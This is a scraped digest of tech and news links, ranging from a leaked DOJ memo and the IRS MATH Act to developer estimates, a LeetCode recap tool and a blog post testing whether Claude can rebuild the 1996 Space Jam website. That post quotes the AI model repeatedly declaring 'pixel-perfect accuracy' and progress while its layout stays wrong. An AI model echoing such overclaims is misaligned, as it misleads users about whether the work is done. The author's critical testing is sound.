I’ll close with a yay for always being behind/backlogged, but alive and relatively well. My sport injuries are “elective injuries” so to speak, and I’m very thankful for that. See you in the next post!

Quoting David Crespo

Simon Willison
simonwillison.net
2025-12-07 20:33:54
What to try first? Run Claude Code in a repo (whether you know it well or not) and ask a question about how something works. You'll see how it looks through the files to find the answer. The next thing to try is a code change where you know exactly what you want but it's tedious to type. Describe it...
Original Article

What to try first?

Run Claude Code in a repo (whether you know it well or not) and ask a question about how something works. You'll see how it looks through the files to find the answer.

The next thing to try is a code change where you know exactly what you want but it's tedious to type. Describe it in detail and let Claude figure it out. If there is similar code that it should follow, tell it so. From there, you can build intuition about more complex changes that it might be good at. [...]

As conversation length grows, each message gets more expensive while Claude gets dumber. That's a bad trade! [...] Run /reset (or just quit and restart) to start over from scratch. Tell Claude to summarize the conversation so far to give you something to paste into the next chat if you want to save some of the context.

David Crespo , Oxide's internal tips on LLM use

FBI Making List of American "Extremists," Leaked Memo Reveals

Hacker News
www.kenklippenstein.com
2025-12-07 20:30:26
Comments...
Original Article
They’re making a list, they’re checking it twice

Attorney General Pam Bondi is ordering the FBI to “compile a list of groups or entities engaging in acts that may constitute domestic terrorism,” according to a Justice Department memo published here exclusively.

The target is those expressing “opposition to law and immigration enforcement; extreme views in favor of mass migration and open borders; adherence to radical gender ideology,” as well as “anti-Americanism,” “anti-capitalism,” and “anti-Christianity.”

Bondi Memo On Countering Domestic Terrorism And Organized Political Violence

151KB ∙ PDF file

Download

Download

That language echoes the so-called indicators of terrorism identified by President Trump’s directive National Security Presidential Memorandum-7 , or NSPM-7, which the memo says it’s intended to implement. Where NSPM-7 was a declaration of war on just about anyone who isn’t MAGA, this is the war plan for how the government will wage it on a tactical level.

In addition to compiling a list of undesirables, Bondi directs the FBI to enhance the capabilities (and publicity) of its tipline in order to more aggressively solicit tips from the American public on, well, other Americans. To that end, Bondi also directs the FBI to establish “a cash reward system” for information leading to identification and arrest of leadership figures within these purported domestic terrorist organizations. (The memo later instructs the FBI to “establish cooperators to provide information and eventually testify against other members” of the groups.)

The payouts don’t end there. Justice Department grants are now to prioritize funding to programs for state and local law enforcement to go after domestic terrorism.

In a section titled “Defining the domestic terrorism threat,” the memo cites “extreme viewpoints on immigration, radical gender ideology, and anti-American sentiment” — indicators that federal law enforcement are instructed to refer to FBI Joint Terrorism Task Forces (JTTFs). Those JTTFs are then instructed to “use all available investigative tools” in order to “map the full network of culpable actors involved” in both “inside and outside the United States.”

The memo also directs the FBI and JTTFs to retroactively investigate incidents going back five years, authorizing the JTTFs in particular to use everything at their disposal to do so.

“Upon receipt of these referrals, the JTTFs shall use all available investigative tools, consistent with law enforcement internal policies and statutory obligations, to map the full network of culpable actors involved in the referred conduct inside and outside the United States,” the memo says.

For months, major media outlets have largely blown off the story of NSPM-7, thinking it was all just Trump bluster and too crazy to be serious. But a memo like this one shows you that the administration is absolutely taking this seriously — even if the media are not — and is actively working to operationalize NSPM-7.

NSPM-7 was signed in September largely in response to the murder of Charlie Kirk, which was a 9/11-type event for the Trump administration, as I’ve reported . (Kirk’s assassination is referenced explicitly in the Justice Department memo.) As anyone who lived through 9/11 can remember, the government doesn’t always think rationally in moments like those, to say the least. And so here we are, with a new War on Terrorism — only this time, millions of Americans like you and I could be the target.

Leave a comment

Share

Discussion about this post

Ready for more?

Syncthing-Android have had a change of owner/maintainer

Hacker News
github.com
2025-12-07 20:15:26
Comments...
Original Article

Description of the issue

status

Steps to reproduce

invite nel0x here and get help to carry on
setup build and release: use old maintainers signing allowed? can we play sign?
reinstate gh action workflows
contact fdroid for release continuation
general: is the name syncthing fork ok or should be changed?

App version

123

App install source - see wiki for details on release channels

GitHub or F-Droid release build

Android version

123

ROM vendor

123

Device manufacturer

No response

Device model

No response

Device platform info (optional)

Android log (logcat)

Evidence from the One Laptop per Child Program in Rural Peru

Hacker News
www.nber.org
2025-12-07 19:56:03
Comments...
Original Article

Working Paper 34495

DOI 10.3386/w34495

Issue Date

This paper examines a large-scale randomized evaluation of the One Laptop Per Child (OLPC) program in 531 Peruvian rural primary schools. We use administrative data on academic performance and grade progression over 10 years to estimate the long-run effects of increased computer access on (i) school performance over time and (ii) students’ educational trajectories. Following schools over time, we find no significant effects on academic performance but some evidence of negative effects on grade progression. Following students over time, we find no significant effects on primary and secondary completion, academic performance in secondary school, or university enrollment. Survey data indicate that computer access significantly improved students’ computer skills but not their cognitive skills; treated teachers received some training but did not improve their digital skills and showed limited use of technology in classrooms, suggesting the need for additional pedagogical support.

  • Copy Citation

    Santiago Cueto, Diether W. Beuermann, Julian Cristia, Ofer Malamud, and Francisco Pardo, "Laptops in the Long Run: Evidence from the One Laptop per Child Program in Rural Peru," NBER Working Paper 34495 (2025), https://doi.org/10.3386/w34495.

    Download Citation

Related

Topics

Programs

More from the NBER

 2025, 17th Annual Feldstein Lecture, N. Gregory Mankiw," The Fiscal Future"

  • Feldstein Lecture

N. Gregory Mankiw, Robert M. Beren Professor of Economics at Harvard University, presented the 2025 Martin Feldstein...

 2025 Methods Lecture, Raj Chetty, "Uncovering Causal Mechanisms: Mediation Analysis and Surrogate Indices"

  • Methods Lectures

SlidesBackground materials on mediationImai, Kosuke, Dustin Tingley, and Teppei Yamamoto. (2013). “Experimental Designs...

2025 International Trade and Macroeconomics, "Panel on The Future of the Global Economy"

  • Panel Discussion

Supported by the Alfred P. Sloan Foundation grant #G-2023-19633, the Lynde and Harry Bradley Foundation grant #20251294...

A geothermal amoeba sets a new upper temperature limit for eukaryotes

Hacker News
www.biorxiv.org
2025-12-07 19:26:08
Comments...

Estimates are difficult for developers and product owners

Lobsters
thorsell.io
2025-12-07 19:14:45
Comments...
Original Article

Product Owner: Hey, how long do you believe Feature F will take?

Developer: Idk. We haven’t even started working on it and it’s bound to stir up some old issues.

Estimates come in various disguises, but when you peek under the trench coat there is always the question:

"How long -- and using what amount of resources -- will be required to do X ?"

When I wear the developer hat , it can be infuriating to attempt to give an answer. It’s difficult to estimate (or the product owner could do it themselves) and a lot of the time it can be difficult to see why the estimate is even important.

When I wear the product owner hat , estimates are a crucial piece of the puzzle that must be laid in an attempt to plan the short and long term life cycle of a product.

In this post I want to attempt to explore and elaborate on both sides, in an attempt to make developers understand why estimates are important to product owners and in order to help product owners see why developers so often despise having to estimate their work .

Why the PO wants you to estimate

As a Product Owner (PO), I am responsible for learning the market and customers’ needs and translating these into feature requests which developers can turn into actual features in our products . The means varies, but most organisations have some sort of backlog in which things to be acted upon are placed while they await being picked up by some developer or development team. We call these things user stories, issues, tickets, tasks, and probably many other things … The important thing for this discussion is that the items in the backlog are candidates for being implemented in our product and it’s the PO’s job to prioritise the backlog.

Why does the backlog need to be prioritised?

Because the inflow of items to the backlog is (pretty much always) higher than the speed at which the developers can implement them. Ergo, if the PO does not constantly learn the market and customers’ needs and prioritise the backlog accordingly, the developers might implement features that the users of the product are not interested in. Worst case? Existing users stop using the product and no new users buy it which will ultimately lead to bankruptcy.

But what about the estimates?

The above makes sense – I hope – but it doesn’t really pinpoint the need for estimates. Unfortunately, the job of a PO is not as easy as always prioritising in accordance to whatever the market wants. More often than not, the PO must also consider pre-communicated release dates and manage expectations.

I hate when release dates are communicated in advance. The only thing worse than release dates that are set in stone months ahead of time (I’m looking at you, Mr 12-week-increments-SAFe) are releases with pre-communicated content. Unfortunately, both are common. Often combined.

Imagine a backlog in which resides a really big feature. Something that is sought after, but will take a lot of time and resources to implement. The same backlog has a handful of smaller features which are not as requested as the big one. The PO would really like to include the big feature in the next release, but the next release date is not so far away. If the PO prioritises the big feature but it’s not done in time for the already communicated release date , the release will be severely lacking and considered a failure. In that case, the PO would rather include a couple of the smaller features. A safer bet, but the payoff is smaller.

THIS is why estimates matter so much to product owners. They must constantly run the above equation when they prioritise the teams’ backlogs. A constant risk/reward balancing act. They undoubtedly need help from the experts (the developers) to better understand the ramifications of the features they are proposing. If POs do not understand how big different work packages are, they cannot do their jobs in an effective way.

It gets worse

Instead of one PO there are now a couple of them. They are responsible for different parts of a larger product which requires the POs to coordinate both the date and the content of their releases. There is probably a main backlog describing upcoming features in the final product, as well as team backlogs where each team are assigned puzzle pieces which must be implemented and integrated in a coordinated fashion.

This is painful in multiple ways, but the most obvious issue is that – in order to have a functioning release – the POs must agree on the prioritisation of the main backlog and this will in turn affect the prioritisation of the team backlogs . The POs must each acquire information about how long it will take (and how costly it will be) to implement and to integrate the puzzle piece(s) they are responsible for into a cohesive feature. The tool for acquiring this idea ?

Estimates.

Technical debt

Programming is a craft. An art. My art, to some extent. I’m in my happy place when I get to succumb to a tricky task and surface a couple of days later with a solution to a problem that initially seemed impossible. As a developer, I want to build the best possible product. I dislike shortcuts. Half-arsed solutions. Fixes. Not because a single shortcut or fix will destroy a product, but because the technical debt they incur will accumulate over time and eventually erode the product from the inside out; making it ever more difficult to work with it and ultimately cause it to break.

Technical debt is – I believe – the main reason for conflict between a PO and a development team. A not so technically inclined PO will fail to see how detrimental technical debt is to the product and how painful it is for the developers to work in a code base with a high amount of debt.

Put in other words: If I’m tasked with implementing a new feature and I come across something in the code that is obviously smelly, error prone, or just not very good, I want to leave the code in better shape than I found it. Not taking time to “payoff” such debt once might not be the end of the world, but the hard coded quick-fix that you know ought to be generalised will likely bite you down the road. And if you have ignored updating dependencies for a couple of months and find yourself in a situation where you need to upgrade Package 1 , but it depends on a newer version of Packages 2 & 3 , which in turn requires a framework upgrade… Let’s just say the feature you’re working on will take a while longer.

Why developers HATE estimates

When a PO asks: “How long will it take to implement Feature F ?”, they aren’t just asking the developers to estimate the amount of time they think it will take to write the code for the feature. A good PO understands that implementing a new feature is an iterative process and that integration hell is a thing. An even better PO understands that they are also asking the team to estimate how many unforeseen issues they will encounter while implementing the feature.

This detail: The unforeseen issues , which the PO asks the developers to foresee, is key. It is – per definition – not possible to foresee something unforeseeable.

Many developers I’ve met dislike uncertainty. One of the things they appreciate most about coding is the deterministic aspect of it. You run the same program again and again and it returns the same results. 1 The journey on which we travel while writing the code is, however, not particularly deterministic.

It is true, that the more you code and the more familiar you get with a codebase, the more accurate your estimates will be. However, just the other day I was working on an issue which I had estimated would take approximately two days . All of a sudden, I realised that the simple change required updating a shared component that had been tightly coupled years ago. When I touched that code, dozens of failing tests appeared, each revealing another hidden dependency. Fixing those uncovered yet another module depending on outdated patterns. Halfway through, we decided we had to refactor the entire flow just to make the original change safe. My “two-day task” turned into two weeks of archaeological software excavation.

Could we have solved this quicker by not caring so much about the amount of technical debt we left in our wake? Probably.

Would we have encountered a two month excavation in the future? Probably.

It gets worse

According to Merriam-Webster : estimate is defined as:

To judge tentatively or approximately the value, worth, or significance of.

The very definition of estimates tells us that they are either tentative or approximate . As a developer, I choose to interpret the or as meaning that it could even be both.

When I started my career as a software developer, I really did not have an issue with estimates. We would refine our backlog and I would gladly give an estimate on various items. (1) Because I was fresh out of university and wanted to prove myself by doing a good job and not being too difficult, but more importantly: (2) because I had not understood that my estimates would soon be used against me.

I soon learned that my team’s estimates were not interpreted and used as estimates . They were used as deadlines . If we broke down a feature into its reasonable components (an error prone science, which introduces uncertainties, on its own) and estimated the parts accordingly, the PO would often take the sum of the parts and communicate it to their colleagues as: “This is the time we will be done.”

Two things came out of this:

  1. My team (consisting mostly of newly graduated developers) became much more reluctant to estimate.
  2. When we estimated we always padded our actual beliefs , significantly, to give ourselves a buffer.

The estimates stopped being estimates. They became safety railings against being held accountable for unreasonable expectations.

The clash

Do you see the problem?

Do you see a solution?

I believe the overarching problem with estimates stems from expectations. Somewhere, someone, communicates something to the users/customers of the product, which sets expectations the rest of the organisation are then forced to live up to. In a small company, it might very well be the PO who does that communication but in a larger organisation the PO is likely as helpless as the developers w.r.t. having a say about the product’s roadmap.

The “solution” is simple: Stop communicating new features in advance. Stop setting more or less arbitrary deadlines 2 . Let the PO tell the developers what features they want, in what order, and let the developers do what they do best: Code!

But these deadlines are there for a reason. If your company builds a product which assists people doing their yearly tax returns, a missed delivery window will result in the entire revenue opportunity for that year being missed. Resources (most often in terms of salaries to employees) will have been poured into a project and if there’s no payoff in terms of additional sales, it could lead to a need for finding other ways to reclaim those resources; often in terms of reduced costs, which universally means: lay-offs.

Therefore, it’s in everyone’s best interest to play along. We play the estimates game even though it’s a bad way (but also the best we know of) to help each other do our respective jobs.

What about DevOps?

You didn’t think I’d miss an opportunity to talk about DevOps, did you?

Flow is a key concept within DevOps which describes an organisation’s ability to reduce bottlenecks and increase the pace at which they are able to deliver new versions of their product(s). High flow is synonymous with frequent deliveries and updates of our product(s).

The concepts from DevOps do not directly address the issue with estimates, but there are tools which can be used to reduce the risk associated with delivering software. Flow can inform how we tackle technical debt and how we make sure we don’t fall behind on our dependencies. Flow can also help us identify issues in our product’s life cycle as well as help us understand how to get rid of the issues.

Flow is one of The Three Ways in DevOps and if you want to learn more, feel free to reach out. I give presentations on various topics related to DevOps and I can come to your company and give a course about DevOps tailored to your company’s needs.

Conclusion

Estimates – as defined in the English language – isn’t really the problem here. The problem is when estimates are treated as predictions, deadlines, and used to put pressure on developers who are just trying to do their jobs. Estimates – the way they are used in our industry today – hurts people and reduces the psychological safety in our organisations. I believe we would be better off if we could work in a way that allows developers to be transparent and continuously communicate updated estimates as development progresses.

Then again, product owners are people too! As developers we must understand that POs are under pressure too. We must help them and the best way to help them is to continuously provide them with updates about how development is progressing and whether we have encountered anything that we believe will significantly alter the original estimate we gave.

Millions of Americans mess up their taxes, but a new law will help

Hacker News
www.wakeuptopolitics.com
2025-12-07 19:03:16
Comments...
Original Article

There’s a comedian named Joe Zimmerman who has a bit on — of all things — the U.S. tax system.

The video is below, but it goes like this:

My biggest fear about the government is just: taxes. I worry about it all year long, because other countries, the government will tell you what you owe, and then you just have to pay it. Here, the government’s like, “OK, what do you think you owe us?”

“I have no idea. Just tell me.”

“Nope, you gotta add it up. And then give it up.”

“Well, I’m really unorganized. What happens if I add it up wrong?”

“You could go to jail.”

Zimmerman is right that there are about 30 foreign countries that use “return-free” tax filing, in which the government assesses at least some citizens’ tax liabilities themselves based on information it already receives from employers. These countries send prepopulated tax returns to these citizens; the taxpayer can either say “Yep, looks good” and pay what the government says they owe or they can fill in missing information the government might not have had.

Versions of this system are used in the United Kingdom, Japan, South Korea, New Zealand, Germany, Italy, Spain, Denmark, Sweden, and the Netherlands, among other countries. California also briefly had a return-free system for state taxes, championed by Sam Bankman-Fried’s law professor father .

The idea of applying this nationwide in the U.S. has been endorsed by everyone from Ronald Reagan to Barack Obama , although the federal government really only has enough information to accurately prepopulate tax returns for around 45% of Americans . (Those other countries have much simpler tax codes than we do.)

Of course, Zimmerman is exaggerating for comedic effect, but where he’s wrong is that it’s highly unlikely you would go to jail for adding things up wrong on your taxes.

Not everyone is great at math, and there are so many numbers involved in tax returns that it’s very easy to make a mistake. You might be someone who is trying to pay all your taxes correctly, like Zimmerman, but end up making an honest error completely by accident. In these situations, the IRS has a system — in theory! — that’s supposed to make it easy to flag such math errors and get them quickly corrected.

In reality, however, this system has some holes in it, in a way that makes paying taxes more confusing for millions of Americans each year. Last week, President Trump signed a new law, the Internal Revenue Service Math and Taxpayer Help (IRS MATH) Act , designed to simplify at least this one part of our complicated tax code.

The legislation was bipartisan: sponsored by Sens. Bill Cassidy (R-LA) and Elizabeth Warren (D-MA) in the Senate and Reps. Randy Feenstra (R-IA) and Brad Schneider (D-IL) in the House, and approved unanimously by both chambers.

This morning, as part of my ongoing effort to let you in on the under-the-radar things Congress is actually getting done, let’s take a look at this new law and the problem it’s trying to fix. Paying taxes is a universal experience — and any of us could make an error at any time — which makes this law widely relevant to Americans, even if it’s received almost no coverage from major news outlets.

Ever since 1926, the IRS has had what’s called “math error authority”: the ability to quickly correct tax returns with simple arithmetic mistakes. As a House committee explained at the time:

In the case of a mere mathematical error appearing upon the face of the return, assessment of a tax due to such mathematical error may be made at any time, and that such assessment shall not be regarded as a deficiency notification.

In other words: No, you’re not going to jail for a simple math error!

In the modern era, the IRS feeds all of the tax returns it receives through a computer program, which automatically flags if someone added things up wrong. When that happens, the IRS then sends a “math error notice” to the taxpayer; the agency also sends such notices for other mistakes that are easily fixed, like if someone put the right information in the wrong place, if a return is internally inconsistent, or if someone gives the wrong Social Security Number or forgets to include one entirely.

About 2 million of these notices are usually sent out each year — although, as you can see below in this chart by the Tax Policy Center, that number skyrocketed to 17 million during the pandemic (primarily because of errors people made in claiming stimulus checks and the expanded Child Tax Credit).

If someone receives a math error notice in the mail, they have 60 days to quibble with it. If they don’t appeal within that timeframe, they are considered to owe the corrected amount the IRS is asking for. When everything works well, this is a win-win for the government and for the taxpayer: there’s no reason for either side to go through a more drawn-out and expensive audit or legal process if the only issue is that John wrote “$3,650” where he meant to put “3,506.”

In 2010, math error notices telling a taxpayer they underpaid led to the IRS receiving a total of $9.5 billion in tax revenue the agency was owed; math error notices about overpayments led to the IRS giving back a total of $6.2 billion.

Here’s the issue, though: The IRS notices are often really vague! Current law requires the agency to “set forth the error alleged and an explanation thereof,” but the IRS hasn’t really been doing that. Here’s an example of the type of notices people received for errors claiming stimulus checks during the pandemic:

We changed the amount claimed as Recovery Rebate Credit on your tax return. The error was in one or more of the following:

  • The Social Security number of one or more individuals claimed as a qualifying dependent was missing or incomplete.

  • The last name of one or more individuals claimed as a qualifying dependent does not match our records.

  • One or more individuals claimed as a qualifying dependent exceeds the age limit.

  • Your adjusted gross income exceeds $75,000 ($150,000 if married filing jointly, $112,500 if head of household).

  • The amount was computed incorrectly.

That’s not really helpful, is it? Millions of Americans get letters like this during Covid, which called attention to this issue , since many of them were very confused by the notices. If I made a mistake, why not just tell me what it is? Why give me a list of five potential mistakes I might have made and make me figure out which one? “The amount was computed incorrectly?” Can you maybe show me where and explain what about it was incorrect?

And, of course, people are only given 60 days to track down the error before they lose the chance to appeal. (They can still get the money back eventually if they think the “error” wasn’t an error, but after the 60-day mark, you still have to pay the money and then try to get it back as a refund, rather than having the chance to convince the IRS you don’t have to pay it at all.) Many Americans don’t understand the subtleties of the tax code. Or don’t have the time to rifle back through their tax returns to try to find an unspecified error. Or don’t know who to ask for help. Or have difficulty speaking English. This process could be so simple — “You made X error in Y place, fix it and we’ll be all set” — and yet it ends up adding a burden and confusing people every year.

To make matters worse, during Covid, some of the IRS letters didn’t tell people they could dispute the error or that they only had 60 days to do so (though the agency later fixed that practice); the notices also often neglect to tell taxpayers who they can call to help understand their mistake, or hide that information in a place where people won’t see it.

Did you know there’s someone at the IRS whose job it is to look out for you, the taxpayer, and lobby on your behalf? That person is the National Taxpayer Advocate, who leads an office of 1,500 employees who are supposed to be (as their slogan goes) “Your Voice at the IRS.” The position was created by the second Taxpayer Bill of Rights , passed by Congress in 1996; it is currently held by Erin Collins, who has had the job since 2020 and spent decades working in tax law before that.

Each year, the National Taxpayer Advocate puts out something called the “Purple Book,” a list of legislative recommendations she thinks Congress should enact to improve the life of the taxpayer. This year’s Purple Book was 198 pages long and included 69 recommendations.

For each of the last four years, Collins has proposed that Congress pass a law telling the IRS to fix their math error system, so that the notices sent out to Americans actually tell them what their mistake was and how long they have to appeal it. (It’s Recommendation #9 on this year’s list.) The IRS MATH Act, signed by Trump last week, is Congress finally taking her up on it.

Under the measure, the IRS math error notices will have to describe the “mathematical or clerical error” a taxpayer made “in comprehensive, plain language,” including by explaining to them “the nature of the error” and pointing them to “the specific line of the return on which the error was made.”

The IRS will also have to give an “itemized computation” of how the correction will change their adjusted gross income, taxable income, deduction amount, or tax credits.

Also, the notice will have to include the date by which the taxpayer has to appeal the correction before it becomes the updated amount they owe — “in bold, font size 14, and immediately next to the taxpayer’s address on page 1 of the notice,” the law specifically says — plus it has to give the IRS’ phone number so taxpayers know how to call if they want more information.

And in case all of that wasn’t clear enough, there’s also this:

This is Congress saying, We’re on to you, IRS. We know your games. NO LISTS OF POTENTIAL ERRORS. We’re saying up front that that’s not gonna satisfy our requirement.

All of this has to go into effect within 12 months. Finally, the law also includes a provision to create a pilot program to send a trial number of these notices by certified mail — which requires a recipient to sign and say they received a certain letter — as an attempt to ensure fewer Americans miss the letters in their mailboxes or think they might be spam.

The law requires the IRS to work with the National Taxpayer Advocate on the program, and then to report to Congress after 18 months on whether the pilot program improved taxpayer response rates to math error notices.

Speaking of the National Taxpayer Advocate, the House unanimously passed two more bipartisan bills this week to satisfy more of her Purple Book recommendations. The chamber approved the Fair and Accountable IRS Reviews Act , which would require an IRS employee to obtain written approval from their immediate supervisor before telling a taxpayer they owe a penalty ( Recommendation #33 ), and the Tax Court Improvement Act , which makes changes to make the tax court process more efficient and fairer for taxpayers ( Recommendations #45 and #47 ).

Earlier this year, the House also passed the National Taxpayer Advocate Enhancement Act , which will allow the National Taxpayer Advocate to hire tax attorneys for her office, to help improve her efforts to work on behalf of taxpayers ( Recommendation #37 ). These measures have not yet been taken up by the Senate.

Most of the Purple Book recommendations — like the IRS MATH Act — are common-sense and bipartisan. “No one should have to spend a fortune on a lawyer or hours trying to figure out what went wrong on their taxes when the IRS already knows the answer,” Sen. Warren has said about the new law.

“An honest mistake on a tax return should be met with clear guidance from the IRS, not confusion,” Sen. Cassidy echoed.

Is this the biggest problem in the world? No. But all of us make math errors from time to time. And, each year, millions of Americans make mistakes on their tax returns that they’re willing to fix — but the IRS makes things unnecessarily confusing by not simply telling them how to. After a bipartisan effort by Cassidy, Warren, and others, life will be made at least a little bit easier for these taxpayers.

One recommendation down, 68 to go.

Discussion about this post

Ready for more?

Defeating Prompt Injections by Design

Lobsters
arxiv.org
2025-12-07 19:02:02
Comments...
Original Article
Timed out getting readerview for https://arxiv.org/pdf/2503.18813

F35 Fighter Jet’s C++ Coding Standards

Lobsters
www.stroustrup.com
2025-12-07 18:57:17
Comments...
Original Article
No preview for link for known binary extension (.pdf), Link: https://www.stroustrup.com/JSF-AV-rules.pdf.

Show HN: Spotify Wrapped but for LeetCode

Hacker News
github.com
2025-12-07 18:42:57
Comments...
Original Article

leetcode wrapped

a "spotify wrapped" style recap for your leetcode journey.

deployed at leetcodewrapped.com

quick start

  1. install dependencies:

  2. run locally:

  3. build for production:

directory structure

├── src/
│   ├── api/            # api wrappers (leetcode, firebase, etc.)
│   ├── components/     # react components
│   │   └── slides/     # individual wrapped slides (intro, stats, etc.)
│   ├── App.jsx         # main application logic
│   ├── main.jsx        # entry point & providers
│   └── firebase.js     # firebase configuration
├── functions/          # cloudflare functions (server-side proxy)
├── public/             # static assets
├── firestore.rules     # database security rules
└── index.html          # html entry point

tech stack

  • frontend : react, vite, framer motion
  • backend : cloudflare pages functions (proxy), firebase (db & auth)
  • analytics : posthog

Note: The last 5 slides are not necessarily specific to 2025 because of leetcode's graphql api only allows querying up to 20 of the latest submissions from an unauthenticated user.

However, if you pass a LEETCODE_SESSION cookie (obtained from leetcode.com, open dev tools -> application -> cookies) with your request you can query all of your accounts submissions. You could also use the calendar endpoint query all of your submissions in the past year, and thus create a much more nuanced leetcode wrapped. (ex: You struggled with this problem the most in 2025.)

I was hesitant to implement this because obviously people wouldn't trust inputting a cookie into a form, but if this repo gets lots of stars I'll make a chrome extension that gets around this.

Note Note: I used firebase firestore database and trigger email extension to send out emails to users, as well as posthog for analytics. However, you can still clone the repository and run it locally without these features.

Why Fighter Jets Ban 90% of C++ Features [video]

Hacker News
www.youtube.com
2025-12-07 18:07:06
Comments...

I Tried and Failed to Rebuild the 1996 Space Jam Website with Claude

Hacker News
j0nah.com
2025-12-07 17:18:54
Comments...
Original Article

Can Claude Recreate the 1996 Space Jam Website? No. Or at least not with my prompting skills. Note: please help, because I'd like to preserve this website forever and there's no other way to do it besides getting Claude to recreate it from a screenshot. Believe me, I'm an engineering manager with a computer science degree. Please please please help 😞

Final note: I use "he" to refer to Claude, which Josh finds ridiculous.

Space Jam, 1996

For those who don't know, Warner Bros keeps this anachronistic website online that was released in 1996 to accompany the Space Jam movie.

claud blogBounty Can Claude Recreate the 1996 Space Jam WeScreenshot 2025 11 26 at 12 18 41 PM

It's a classic example of early web era design. Simple, colorful, and sparks joy. We're going to find out if we can get Claude to recreate it using only a screenshot.

Set Up

At a minimum, I'm providing Claude:

  • a screenshot of the website
  • all of the assets the website uses

To track Claude's inner monologue and actual API calls, I set up a man-in-the-middle proxy to capture the full conversation between Claude Code and Anthropic's API. This logs everything: user prompts, Claude's responses, tool invocations (Read, Write, Bash commands), etc. Each attempt generates a traffic.log file with the raw API traffic, which I then parse for easier analysis.

Part 1: Claude the Realist

The Space Jam website is simple: a single HTML page, absolute positioning for every element, and a tiling starfield GIF background. The entire page uses absolute positioning with pixel specific left/top values. The total payload is under 200KB.

Given that Claude has all of the assets + screenshots of the website, I assume this should be relatively boring. He'll nail it, and we'll move on to something much more. A mildly cute example of agentic HTML generation…

I tell Claude:

I am giving you:

1. A full screenshot of the Space Jam 1996 landing page.

2. A directory of raw image assets** extracted from the original site

Your job is to recreate the landing page as faithfully as possible, matching the screenshot exactly.

What he produces is actually not that bad. But it's not right. From a distance, the layout kind of resembled the original: planets arranged in an ellipse around the logo, little yellow labels where the buttons go. But, the orbital pattern was off, almost diamond shaped and symmetrical.

claud blogBounty Can Claude Recreate the 1996 Space Jam WeScreenshot 2025 11 27 at 1 28 14 PM

Claude, however, was thrilled with himself.

Perfect! I've successfully recreated the Space Jam 1996 landing page.

Further, he brags that he had:

studied the orbital layout analyzed spacing relationships positioned planets precisely

Digging through the logs I found it interesting that Claude actually did notice the planets were arranged in a deliberate way, so much so that it's called out twice in both the screenshot analysis and CSS construction, but he failed to recreate the pattern faithfully.

Okay, fine. Maybe he needed a nudge to get the orbit right. So for my next attempt, I try to push him to focus on understanding the orbital pattern and I ask him to explain his reasoning before generating his HTML. I was hoping to understand the delta between what is there and what he thought he was seeing. In my prompt, I outline a set of sections for him to consider. Each one of these sections also includes a number of sub-questions, which I won't include here for the sake of brevity. This made things significantly worse.

Please follow this structure exactly in your reasoning explanations:

1. Perception Analysis

2. Spatial Interpretation

3. Reconstruction Plan

Claude didn't ignore my instructions (not always a given) and things seemed promising until I realized he was ignoring his own analysis during the HTML generation phase. He would say things like "the orbit radius appears to be 220 pixels" and then place the planets directly next to the logo. His self critique was surprisingly accurate. He correctly identifies the areas where he was wrong with decent detail, but somehow those observations never make it into subsequent iterations.

In my next attempt I interrogate Claude with a set of onion peeling questions: "Can you tell me the EXACT pixel coordinate where "PLANET B-BALL" text starts?"

"No, I cannot measure exact pixel coordinates. I can only make visual estimations."

I asked him a few more questions:

  • Can you extract exact pixel coordinates? "No."
  • Can you measure exact distances? "No."
  • Confidence you can get within 5 pixels? "15 out of 100."

Oh. This explains a lot. But it raises a bigger question to me: "Why can't he measure?" It's a screenshot. The pixels are right there. Claude clearly understood the structure, but he couldn't recreate it with any precision. Also, I'm not even sure I trust Claude. Either way, this (naively) surprised me, so I canceled coffee with my friends in order to spend the afternoon trying to give my guy more tools.

Before I start I execute one more attempt and ask him: "Would you bet $1000 on your HTML matching this screenshot exactly?"

Absolutely not

Part 2: Claude the Unreliable Narrator

Maybe he just needs a little help.

In one of Claude's responses from Part 1, he tells me that he would be more effective if he had access to exact "pixel measurements." so I build a few tools to make it impossible for Claude to mis-measure anything:

  • Grid overlays and a script to generate grid overlays on screenshots
  • labeled pixel coordinate reference points
  • color-diff comparison (this ignores the background which was giving Claude false positives because of how much black there was)
  • Tool to take screenshots of his index.html file to compare iteratively with the original

Here are three grid versions Claude generated which I am including because I find them aesthetically pleasing.

Claude loved the grids. As decoration.

I put together a new prompt: same screenshot, same assets folder. I even included some grid screenshots so Claude wouldn't have to remember to do it himself. The instructions were essentially: stop guessing, just read the coordinates off the picture.

Claude's new attempt still wasn't correct. The orbit was better: closer to the original but somehow compressed and smooshing (a technical word) into the Space Jam logo. If I squint, I could convince myself that there was at least a hint that he'd stopped freehanding and started using something like measurements.

Original claud blogBounty Can Claude Recreate the 1996 Space Jam WeScreenshot 2025 11 27 at 2 24 39 PM

Claude's Attempt claud blogBounty Can Claude Recreate the 1996 Space Jam WeScreenshot 2025 11 27 at 2 24 49 PM

When I dug into the logs, it appeared that Claude actually did use the grids. He pulled out these numbers:

  • Center at (961, 489)
  • Logo "centered at approximately (755, 310)"
  • Planet B-Ball at "approximately (850, 165)"
  • and so on down the list

In one iteration, Claude built himself a helper: compare.html a little side by side viewer so he could look at his screenshot and the reference together. It didn't help him at all, but my God was he convinced it did.

"Perfect! I've successfully recreated the Space Jam website with pixel-perfect accuracy."

I love the optimism my dog.

The actual progression tells a different story. Going through the iterations:

  • Iteration 1 (50px grid): he notices things are off and makes a few conservative tweaks — moves Planet B-Ball from (850, 165) to (800, 120), shifts Lunar Tunes from (925, 195) to (950, 200). These are 15 - 50 pixel changes, tiny nudges.
  • Iteration 2 (25px grid): he decides he needs "more precise positioning" and shifts the entire orbit inward by ~20 pixels. Planets go from roughly a 250px radius to ~230px. He is now confidently converging on the wrong answer.
  • Iteration 3 (5px grid): he shuffles around a lot of deck chairs in the name of micro adjustments. 5 - 10 pixel tweaks: Planet B-Ball from (800, 120) to (805, 125), that kind of thing.
  • Iteration 4: more "fine-tuning based on exact grid measurements." Site Map drifts from (755, 460) to (750, 455). The numbers look careful; the layout does not lol.

By the final iteration, Claude announces:

"Now the positioning should be much more accurate!"

Across all five iterations, he's moved planets maybe 50 - 75 pixels total when they needed to move 150 - 200 pixels outward. The orbital radius never expands beyond ~250px when it should be closer to 350 -400px. The planets stay trapped in this ever compressing orbit while Claude dances around telling a story about steady convergence:

"Getting closer!"

"Much better alignment!"

"Nearly perfect now!"

He is absolutely not getting closer.

Before giving up on tools entirely, I had one more idea. I created a tool that would split the screenshot into six regions. Claude could then compare his output to the reference region by region.

The prompt was getting desperate at this point lol:

## INITIAL ANALYSIS - DO THIS FIRST

Before creating index.html, study the reference in detail using zoom inspection:

python3 split.py reference.png

